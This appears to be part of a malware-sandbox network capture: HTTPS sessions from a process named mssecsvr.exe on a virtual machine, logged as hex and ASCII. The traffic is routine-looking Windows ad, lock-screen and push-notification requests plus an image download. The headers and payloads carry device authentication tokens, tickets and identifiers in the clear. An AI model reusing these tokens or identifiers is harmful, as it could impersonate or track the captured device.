X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAcLCvn4O5XOTCSLiVv0BWy7BALQmesDqw2ho6oQqSp9VJNMGcjhpUTbdVsGqa6PZbbENvPa5zZsjPnwuHzbfB9EWaAoflW3ein3dxUqkN8wXAAzMCAbfd5PGzWFqXR5/iQLNdJzPVAkawJWXew9Wr+OF06JaI8PDhWNYFgYCCZ2TMBfKlvNnN3X9Wpj4+qWs2RJ7/1CFYdhORSo1hFFSPnMvDa3x3LQG6B36d512kya/qjyv/nmNQcdlMv/THvZQfI/hZ7XMDrp/P+EOqaEj15TU5q6Ph3KWHSUq2r/PgA8662iOLriEpQwtNbfdLeX9nuWP3hEx+q6UoVhUIcckFqIDZgAACONaSsRGi98iqAFewyMk6fO+kXvZWSZPzVC734i0urELGgeJzoE4kslXhL9MQfckSCJxV74odaybYVbGfzReLGT5+VWbJKeHM5TYj2vnJ91xTcXQ/W8pJcjzb/UArCQs6IMtEXoE+QKgBorTMT7mCOWns4A9bFpjzidU6E4GSyLnpM4m3hAe0Bz/pGo8EPe1fgECEN3jDDkHS+9o7Vt6WD0NiOmc18/tUxSAp6DTElrDcwailafc/SxsqfP8JYG96fJPw4VleiQUuWF7iSZ/XJWp7DmGMLbZJdaaoqWhi2nXk1CkHZqc7vYjtL2STklcts2hlnuBEA4iS5HzUnBMLnab2mlALVPCvt9oh4dOLm756ShbXi0x97F1qGesr/EI0M7Drt7pMGYundoMU0koSqJp2ChDlDSVJ5xBhccgXTuYDoCpHpo4liCcZWj9VQk+MqIi3lenK9w35NPJylLvmN8POJBOaq2MahKuc2YI1unSximGhgi8CtY5iiYFwVJZ307JSCmZxiReHqDrAJI2eeRGloQ1dM1uSahFXEWQT5J/NkYmwT+IO8NSHTO99S5OttaO1gE=&p= Cache-Control: no-cache MS-CV: 7FzMKOXr2kSjtDAf.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 04:06:36 UTC	1186	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 4483 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P400091688-T700129702-C128000000000402926+B+P20+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: GM+UAW4Fc5uD/UrWplMgIISuyh7k0M/73NzQsrSSpfHZrgoPuITkaktL56xxbsSRLU0zHZQhsxK8b/MfbzmbYniwxWPYwQl9rDTdvkV47lswbftRSIvzH1MCf+ekDjITKh6ygA/rPR8JToFVuWFPCxVWHD8XftPgT8gDXZaBVsWJXIKGGWBMIl/AaZC1PonXfObRSFeHZWlMdjbTovmUC20wspVzJiGtkPFGy5xBKN72pj96HLoQ1EP6Cd2u6Yahk2x4/E3S9/bleWIEUeDdg7pqStq+pQN3cFV1NWLh8igqnISrNHFIgBjIKmXlH3IYavywGDXhecKMR6GeATiakQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 04:06:35 GMT Connection: close
2022-07-20 04:06:36 UTC	1187	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 74 65 6d 70 6c 61 74 65 54 79 70 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 78 74 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 74 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"templateType\":{\"type\":\"text\"},\"onRender\":{\"t

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.6	50398	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:37 UTC	1191	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T130635Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=423e9c6995f543cfa048c202fb04665b&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1610953&metered=false&nettype=ethernet&npid=sc-338387&oemName=nyqfhh%2C%20Inc.&oemid=nyqfhh%2C%20Inc.&ossku=Professional&rver=2&sc-mode=0&smBiosDm=nyqfhh7%2C1&tl=2&tsu=1610953&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAcLCvn4O5XOTCSLiVv0BWy7BALQmesDqw2ho6oQqSp9VJNMGcjhpUTbdVsGqa6PZbbENvPa5zZsjPnwuHzbfB9EWaAoflW3ein3dxUqkN8wXAAzMCAbfd5PGzWFqXR5/iQLNdJzPVAkawJWXew9Wr+OF06JaI8PDhWNYFgYCCZ2TMBfKlvNnN3X9Wpj4+qWs2RJ7/1CFYdhORSo1hFFSPnMvDa3x3LQG6B36d512kya/qjyv/nmNQcdlMv/THvZQfI/hZ7XMDrp/P+EOqaEj15TU5q6Ph3KWHSUq2r/PgA8662iOLriEpQwtNbfdLeX9nuWP3hEx+q6UoVhUIcckFqIDZgAACONaSsRGi98iqAFewyMk6fO+kXvZWSZPzVC734i0urELGgeJzoE4kslXhL9MQfckSCJxV74odaybYVbGfzReLGT5+VWbJKeHM5TYj2vnJ91xTcXQ/W8pJcjzb/UArCQs6IMtEXoE+QKgBorTMT7mCOWns4A9bFpjzidU6E4GSyLnpM4m3hAe0Bz/pGo8EPe1fgECEN3jDDkHS+9o7Vt6WD0NiOmc18/tUxSAp6DTElrDcwailafc/SxsqfP8JYG96fJPw4VleiQUuWF7iSZ/XJWp7DmGMLbZJdaaoqWhi2nXk1CkHZqc7vYjtL2STklcts2hlnuBEA4iS5HzUnBMLnab2mlALVPCvt9oh4dOLm756ShbXi0x97F1qGesr/EI0M7Drt7pMGYundoMU0koSqJp2ChDlDSVJ5xBhccgXTuYDoCpHpo4liCcZWj9VQk+MqIi3lenK9w35NPJylLvmN8POJBOaq2MahKuc2YI1unSximGhgi8CtY5iiYFwVJZ307JSCmZxiReHqDrAJI2eeRGloQ1dM1uSahFXEWQT5J/NkYmwT+IO8NSHTO99S5OttaO1gE=&p= Cache-Control: no-cache MS-CV: 7FzMKOXr2kSjtDAf.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 04:06:37 UTC	1194	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 24584 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"3,P425615666-T700383923-C128000000003288669+B+P60+S1,P425056668-T700379701-C128000000002295669+B+P90+S2,P425119424-T700340276-C128000000002753749+B+P20+S3"},{"BATCH_REDIRECT_STORE":"BWW_128000000003288669_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000002295669_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000002753749_EN-US+P0+S0"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: EHknjC008SNwvaHLZWuc669rifGPXfV0addaNByhYTyr3FG6posGlqLJtA0lqUoJSWihq7DZG4E1fN9MtMZO9ha6Nokg5S09Aie1KV268qmsN6VyMJ4Uz1SiOwbsDo3NcdKmv/h795kl8lzav9iwl9omQP/8smGuhu70q/72gC7tw4kg7Bw/jmwlEqW2pNDiLg3UQbzRBNadMBVJygI6sErJj38VcEYbqKyuj50IrtZ2u7fJFnviYghnylbfsq7topfL8Y+6XLZJmznMij/O4PzOik/Pks/+RII0pJXPrbw7YWQPSg3klVU/uDD0JrIpVhpp0y8BetgRgLczIaGJ7g== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 04:06:37 GMT Connection: close
2022-07-20 04:06:37 UTC	1195	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2022-07-20 04:06:37 UTC	1210	IN	Data Raw: 30 37 45 42 46 33 37 38 33 44 46 36 33 37 32 31 44 26 47 4c 4f 42 41 4c 44 45 56 49 43 45 49 44 3d 36 38 32 35 37 39 35 30 35 33 30 36 35 33 33 38 26 4c 4f 43 41 4c 49 44 3d 77 3a 42 45 38 41 42 38 44 46 2d 44 43 44 31 2d 33 35 32 33 2d 34 41 39 35 2d 33 41 30 34 45 41 46 46 31 43 42 41 26 44 53 5f 45 56 54 49 44 3d 34 62 64 36 37 39 38 30 61 37 63 63 34 33 63 63 62 65 30 66 65 35 36 65 37 36 66 32 61 62 64 66 26 42 43 4e 54 3d 31 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 53 26 55 4e 49 44 3d 33 33 38 33 38 37 26 4d 41 50 5f 54 49 44 3d 30 38 39 38 32 33 41 34 2d 37 35 32 34 2d 34 30 43 39 2d 41 36 44 33 2d 42 45 45 36 37 45 43 46 33 41 44 45 26 4e 43 54 3d 31 26 50 4e 3d 44 41 36 33 44 46 39 33 2d 33 44 42 43 2d 34 32 41 45 Data Ascii: 07EBF3783DF63721D&GLOBALDEVICEID=6825795053065338&LOCALID=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&DS_EVTID=4bd67980a7cc43ccbe0fe56e76f2abdf&BCNT=1&PG=PC000P0FR5.0000000IRS&UNID=338387&MAP_TID=089823A4-7524-40C9-A6D3-BEE67ECF3ADE&NCT=1&PN=DA63DF93-3DBC-42AE

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.6	50459	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:40 UTC	1219	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 37 64 65 36 62 64 39 66 66 36 34 32 64 34 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 67de6bd9ff642d45
2022-07-20 04:06:40 UTC	1219	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 04:06:40 UTC	1219	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 37 64 65 36 62 64 39 66 66 36 34 32 64 34 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 2b 4a 59 33 41 69 5a 32 61 62 6b 61 49 46 52 68 54 52 74 5a 6d 41 34 6e 73 4c 6a 76 30 58 67 6a 5a 2b 43 6c 70 43 6c 78 61 73 54 4c 39 2b 6b 4a 44 66 6e 41 53 6a 59 65 67 74 39 55 64 53 47 77 57 33 69 6b 66 49 6d 4b 34 39 49 6f 48 2f 7a 55 34 69 65 6b 49 36 4b 4b 2b 6f 34 53 4e 55 34 62 78 57 64 33 65 57 49 42 4a 58 35 4d 72 79 70 69 39 48 63 68 4e 2f 66 32 58 36 7a 78 77 69 33 48 56 6d 74 78 43 6d 62 Data Ascii: ATH 2 CON\DEVICE 1026Context: 67de6bd9ff642d45<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT+JY3AiZ2abkaIFRhTRtZmA4nsLjv0XgjZ+ClpClxasTL9+kJDfnASjYegt9UdSGwW3ikfImK49IoH/zU4iekI6KK+o4SNU4bxWd3eWIBJX5Mrypi9HchN/f2X6zxwi3HVmtxCmb
2022-07-20 04:06:40 UTC	1220	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 37 64 65 36 62 64 39 66 66 36 34 32 64 34 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 67de6bd9ff642d45<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 04:06:40 UTC	1220	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 04:06:40 UTC	1220	IN	Data Raw: 4d 53 2d 43 56 3a 20 4e 51 4b 4c 76 45 54 2f 4a 30 6d 35 6a 57 57 65 4c 52 53 38 68 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: NQKLvET/J0m5jWWeLRS8hw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.6	50509	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:43 UTC	1220	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 38 63 38 39 36 34 61 64 63 32 38 34 63 62 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 88c8964adc284cba
2022-07-20 04:06:43 UTC	1220	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 04:06:43 UTC	1221	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 38 63 38 39 36 34 61 64 63 32 38 34 63 62 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 2b 4a 59 33 41 69 5a 32 61 62 6b 61 49 46 52 68 54 52 74 5a 6d 41 34 6e 73 4c 6a 76 30 58 67 6a 5a 2b 43 6c 70 43 6c 78 61 73 54 4c 39 2b 6b 4a 44 66 6e 41 53 6a 59 65 67 74 39 55 64 53 47 77 57 33 69 6b 66 49 6d 4b 34 39 49 6f 48 2f 7a 55 34 69 65 6b 49 36 4b 4b 2b 6f 34 53 4e 55 34 62 78 57 64 33 65 57 49 42 4a 58 35 4d 72 79 70 69 39 48 63 68 4e 2f 66 32 58 36 7a 78 77 69 33 48 56 6d 74 78 43 6d 62 Data Ascii: ATH 2 CON\DEVICE 1026Context: 88c8964adc284cba<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT+JY3AiZ2abkaIFRhTRtZmA4nsLjv0XgjZ+ClpClxasTL9+kJDfnASjYegt9UdSGwW3ikfImK49IoH/zU4iekI6KK+o4SNU4bxWd3eWIBJX5Mrypi9HchN/f2X6zxwi3HVmtxCmb
2022-07-20 04:06:43 UTC	1222	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 38 63 38 39 36 34 61 64 63 32 38 34 63 62 61 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 88c8964adc284cba
2022-07-20 04:06:43 UTC	1222	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 04:06:43 UTC	1222	IN	Data Raw: 4d 53 2d 43 56 3a 20 61 76 35 41 34 4e 73 56 38 30 79 71 57 75 46 76 44 5a 77 6b 44 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: av5A4NsV80yqWuFvDZwkDQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.6	50631	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:50 UTC	1222	OUT	GET /cms/api/am/imageFileData/RE4PtWe?ver=aadd HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 04:06:50 UTC	1255	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4PtWe?ver=aadd Last-Modified: Sun, 17 Jul 2022 19:15:33 GMT X-Source-Length: 1675066 X-Datacenter: northeu X-ActivityId: be4c5f6a-3fc7-47d3-a344-5a38aa52b54e Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1675066 Cache-Control: public, max-age=227281 Expires: Fri, 22 Jul 2022 19:14:51 GMT Date: Wed, 20 Jul 2022 04:06:50 GMT Connection: close
2022-07-20 04:06:50 UTC	1256	IN	Data Raw: ff d8 ff e1 27 d7 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 33 3a 30 32 20 31 33 3a 32 30 3a 33 32 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: 'ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:03:02 13:20:328"
2022-07-20 04:06:50 UTC	1306	IN	Data Raw: a5 6d 0a ae 47 4d cc ab 2a bc 2c 6a 85 75 64 7a 86 97 82 e2 f7 96 fb ec 76 1d ae ad d6 33 77 e8 d9 53 ff 00 73 fe dd 5a 9d 2e ec 9c 8e 97 5b 03 5a de 9d 8f 93 63 45 a5 cd f4 6c ae bb 1e ff 00 d2 b9 f6 d4 db bd 26 7d 0f 66 cb ff 00 9b ff 00 07 62 6e b5 83 92 fc 1a 2d 36 e3 e5 d9 83 75 6f 6d 9b 89 73 eb 6b bd 94 b2 f6 fb dd 5f a7 6f af 6b 29 af f4 7f e6 57 4d a1 93 87 39 88 90 f5 4e 56 3c 7e 58 e4 e1 e3 f6 f8 f8 91 fa 3e 41 1d fd 3b a3 d3 90 ca 6d 7b 81 f4 b6 dc c7 d0 e0 00 21 d4 fa bb 5c dd f7 3b 1f d9 ea 55 b7 df fd 22 bf f0 94 e4 71 9f 64 bf f7 8f f3 9f 64 fa 7f e1 3f d2 ff 00 57 fd 7d 45 db e7 7d 61 e9 e0 b8 63 62 da 2c b9 e1 d5 39 ef 01 b2 c2 6c 05 df cf b7 d5 7b 9f fa 46 57 e8 fa ec fe 7b fd 12 c5 fd ad 67 fd c5 c7 fe 91 f6 8f cf fe 73 fc ef e7 7f ee Data Ascii: mGM*,judzv3wSsZ.[ZcEl&}fbn-6uomsk_ok)WM9NV<~X>A;m{!\;U"qdd?W}E}acb,9l{FW{gs
2022-07-20 04:06:50 UTC	1324	IN	Data Raw: 74 74 79 49 6d 61 67 65 73 5f 31 37 35 37 35 35 30 33 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 38 54 31 36 3a 33 36 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 31 32 35 5f 42 61 74 63 68 32 5c 43 72 6f 70 73 5c 51 34 2d 31 32 35 2d 42 61 74 63 68 32 5f 51 34 32 30 31 36 5f 5a 61 62 72 69 73 6b 69 65 50 6f 69 6e 74 5f 47 65 74 74 79 49 6d 61 67 65 73 5f 35 34 37 34 30 38 38 36 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 38 54 31 36 3a 33 39 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 Data Ascii: ttyImages_175755036_1080x1920.jpg saved 2016-07-08T16:36:39-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-125_Batch2\Crops\Q4-125-Batch2_Q42016_ZabriskiePoint_GettyImages_547408861_1080x1920.jpg saved 2016-07-08T16:39:50-07:00 Fi
2022-07-20 04:06:50 UTC	1343	IN	Data Raw: 34 2d 31 32 35 2d 42 61 74 63 68 32 5f 50 65 67 67 79 73 43 6f 76 65 43 61 6e 61 64 61 5f 47 65 74 74 79 49 6d 61 67 65 73 5f 31 31 37 33 31 30 32 32 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 38 54 31 38 3a 34 34 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 31 32 35 5f 42 61 74 63 68 32 5c 43 72 6f 70 73 5c 51 34 2d 31 32 35 2d 42 61 74 63 68 32 5f 45 6c 2d 6e 69 64 6f 50 68 69 6c 69 70 70 69 6e 65 73 5f 35 30 30 70 78 5f 31 32 38 32 30 39 35 30 35 5f 